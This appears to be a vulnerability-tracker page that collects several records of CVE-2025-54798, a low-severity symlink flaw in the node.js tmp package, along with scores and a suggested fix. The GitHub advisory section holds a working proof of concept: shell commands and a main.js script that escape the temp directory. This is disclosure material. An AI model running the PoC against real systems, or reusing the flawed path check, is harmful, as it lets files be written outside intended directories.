tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2025-54798
Publishedtmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.
- Source published
- 7 Aug 2025 00:04:35 UTC
- Source modified
- 3 Nov 2025 20:06:39 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 2.5 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N
euvd · EUVD-2025-23895
Publishedtmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 7, 2025, 12:04:35 AM
dateUpdated: Nov 3, 2025, 8:06:39 PM
3 related source bulletins · separate from aliases
openSUSE-SU-2025:15502-1: jupyter-nbdime-7.0.2-23.1 on GA media
CVE-2025-54798
openSUSE-SU-2025:15506-1: jupyter-bqplot-jupyterlab-0.5.46-13.1 on GA media
CVE-2025-54798
WID-SEC-W-2026-0778: Dell Secure Connect Gateway Policy Manager: Mehrere Schwachstellen
CVE-2014-8991 · CVE-2015-2296 · CVE-2019-6778 · CVE-2020-10756 · CVE-2020-13645 · CVE-2020-1983 · CVE-2020-24455 · CVE-2020-25219 · CVE-2020-26154 · CVE-2020-29130 · CVE-2021-3592 · CVE-2021-3593 · CVE-2021-3594 · CVE-2021-3595 · CVE-2022-40897 · CVE-2023-22745 · CVE-2023-5752 · CVE-2024-25621 · CVE-2024-29040 · CVE-2024-6345 · CVE-2025-10911 · CVE-2025-11226 · CVE-2025-11468 · CVE-2025-11563 · CVE-2025-11731 · CVE-2025-12084 · CVE-2025-12781 · CVE-2025-1352 · CVE-2025-13601 · CVE-2025-1372 · CVE-2025-1376 · CVE-2025-1377 · CVE-2025-13836 · CVE-2025-13837 · CVE-2025-14087 · CVE-2025-14512 · CVE-2025-15281 · CVE-2025-15282 · CVE-2025-15366 · CVE-2025-15367 · CVE-2025-15467 · CVE-2025-24294 · CVE-2025-28162 · CVE-2025-28164 · CVE-2025-31133 · CVE-2025-3576 · CVE-2025-47273 · CVE-2025-52565 · CVE-2025-52881 · CVE-2025-53057 · CVE-2025-53666 · CVE-2025-54770 · CVE-2025-54771 · CVE-2025-54798 · CVE-2025-55752 · CVE-2025-59375 · CVE-2025-6075 · CVE-2025-61661 · CVE-2025-61662 · CVE-2025-61663 · CVE-2025-61664 · CVE-2025-61748 · CVE-2025-61795 · CVE-2025-61984 · CVE-2025-61985 · CVE-2025-64329 · CVE-2025-64505 · CVE-2025-64506 · CVE-2025-64720 · CVE-2025-64756 · CVE-2025-65018 · CVE-2025-66035 · CVE-2025-66293 · CVE-2025-66412 · CVE-2025-66614 · CVE-2025-67721 · CVE-2025-68160 · CVE-2025-68973 · CVE-2025-69418 · CVE-2025-69419 · CVE-2025-69420 · CVE-2025-69421 · CVE-2025-69873 · CVE-2025-7039 · CVE-2025-8291 · CVE-2025-9187 · CVE-2025-9820 · CVE-2026-0672 · CVE-2026-0861 · CVE-2026-0865 · CVE-2026-0915 · CVE-2026-0988 · CVE-2026-1484 · CVE-2026-1485 · CVE-2026-1489 · CVE-2026-22610 · CVE-2026-22695 · CVE-2026-22795 · CVE-2026-22796 · CVE-2026-22801 · CVE-2026-24734 · CVE-2026-24882 · CVE-2026-25646
- Source published
- Aug 7, 2025, 12:04:35 AM (timezone not stated)
- Source modified
- Nov 3, 2025, 8:06:39 PM (timezone not stated)
- Saved here
- 15 Nov 2026 08:31:25 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 2.5 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N
nvd · CVE-2025-54798
Publishedtmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Modified
Weakness classifications: CWE-59
Original publisher date fields
published: 2025-08-07T01:15:26.203
lastModified: 2026-06-17T09:40:43.420
1 source CPE criteria · context only
- cpe:2.3:a:raszi:tmp:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 7 Aug 2025 01:15:26 UTC
- Source modified
- 17 Jun 2026 09:40:43 UTC
- Saved here
- 25 Oct 2026 03:17:11 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 2.5 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N
CVSS 3.1 · [email protected] · Primary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
osv · GHSA-52f5-9888-hmc6
Published### Summary `[email protected]` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter. ### Details According to the documentation there are some conditions that must be held: ``` // https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50 Other breaking changes, i.e. - template must be relative to tmpdir - name must be relative to tmpdir - dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks are still in place. In order to override the system's tmpdir, you will have to use the newly introduced tmpdir option. // https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375 * `dir`: the optional temporary directory that must be relative to the system's default temporary directory. absolute paths are fine as long as they point to a location under the system's default temporary directory. Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, as tmp will not check the availability of the path, nor will it establish the requested path for you. ``` Related issue: https://github.com/raszi/node-tmp/issues/207. The issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths: ```js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579 function _resolvePath(name, tmpDir) { if (name.startsWith(tmpDir)) { return path.resolve(name); } else { return path.resolve(path.join(tmpDir, name)); } } ``` If the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`: ```js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609 function _assertIsRelative(name, option, tmpDir) { if (option === 'name') { // assert that name is not absolute and does not contain a path if (path.isAbsolute(name)) throw new Error(`${option} option must not contain an absolute path, found "${name}".`); // must not fail on valid .<name> or ..<name> or similar such constructs let basename = path.basename(name); if (basename === '..' || basename === '.' || basename !== name) throw new Error(`${option} option must not contain a path, found "${name}".`); } else { // if (option === 'dir' || option === 'template') { // assert that dir or template are relative to tmpDir if (path.isAbsolute(name) && !name.startsWith(tmpDir)) { throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`); } let resolvedPath = _resolvePath(name, tmpDir); //<--- if (!resolvedPath.startsWith(tmpDir)) throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`); } } ``` ### PoC The following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible. Tested on a Linux machine. - Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it ```bash mkdir $HOME/mydir1 ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir ``` - check the folder is empty: ```bash ls -lha $HOME/mydir1 | grep "tmp-" ``` - run the poc ```bash node main.js File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]' test 2: dir option must be relative to "/tmp", found "/foo". test 3: dir option must be relative to "/tmp", found "/home/user/mydir1". ``` - the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`): ```bash ls -lha $HOME/mydir1 | grep "tmp-" -rw------- 1 user user 0 Apr X XX:XX tmp-[random-id] ``` - `main.js` ```js // npm i [email protected] const tmp = require('tmp'); const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'}); console.log('File: ', tmpobj.name); try { tmp.fileSync({ 'dir': 'mydir1'}); } catch (err) { console.log('test 1:', err.message) } try { tmp.fileSync({ 'dir': '/foo'}); } catch (err) { console.log('test 2:', err.message) } try { const fs = require('node:fs'); const resolved = fs.realpathSync('/tmp/evil-dir'); tmp.fileSync({ 'dir': resolved}); } catch (err) { console.log('test 3:', err.message) } ``` A Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links. ```js function _resolvePath(name, tmpDir) { let resolvedPath; if (name.startsWith(tmpDir)) { resolvedPath = path.resolve(name); } else { resolvedPath = path.resolve(path.join(tmpDir, name)); } return fs.realpathSync(resolvedPath); } ``` ### Impact Arbitrary temporary file / directory write via symlink
- Source published
- 6 Aug 2025 17:06:04 UTC
- Source modified
- 10 Sep 2026 03:50:26 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N
Publisher rating · LOW